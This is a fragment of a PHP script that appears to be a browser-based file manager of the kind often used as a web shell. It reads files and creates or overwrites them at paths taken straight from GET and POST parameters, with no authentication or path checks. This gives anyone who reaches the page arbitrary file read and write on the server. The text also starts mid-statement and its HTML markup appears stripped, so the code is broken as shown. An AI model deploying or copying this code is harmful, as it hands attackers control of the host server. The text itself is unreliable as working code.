Current Directory: "; $pathParts = explode(DIRECTORY_SEPARATOR, $dir); $pathLink = ""; foreach ($pathParts as $index => $part) { $pathLink .= ($index > 0 ? DIRECTORY_SEPARATOR : "") . $part; echo "" . htmlspecialchars($part) . ""; if ($index < count($pathParts) - 1) echo " / "; } echo ""; echo ""; echo "

Create New File

"; echo "
"; echo ""; echo "
"; echo "
"; echo ""; echo "
"; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['new_file_name'], $_POST['current_dir'])) { $newFileName = $_POST['new_file_name']; $currentDir = $_POST['current_dir']; $fileContent = $_POST['file_content'] ?? ""; $filePath = $currentDir . DIRECTORY_SEPARATOR . $newFileName; if (!file_exists($filePath)) { file_put_contents($filePath, $fileContent); echo "

File '$newFileName' created successfully in '$currentDir'.

"; } else { echo "

File already exists.

"; } listDirectoryContents($currentDir); } elseif (isset($_POST['edit_file'], $_POST['file_content'])) { $filePath = $_POST['edit_file']; $fileContent = $_POST['file_content']; file_put_contents($filePath, $fileContent); echo "

Changes saved to '$filePath'.

"; listDirectoryContents(dirname($filePath)); } } elseif (isset($_GET['file'])) { $file = $_GET['file']; if (file_exists($file)) { echo "

File Contents: " . htmlspecialchars($file) . "

"; $content = htmlspecialchars(file_get_contents($file)); echo "
"; echo ""; echo "
"; echo ""; echo "
"; echo "⬅ Back to Directory"; } else { echo "File does not exist."; } } else { $dir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__; listDirectoryContents($dir); } ?>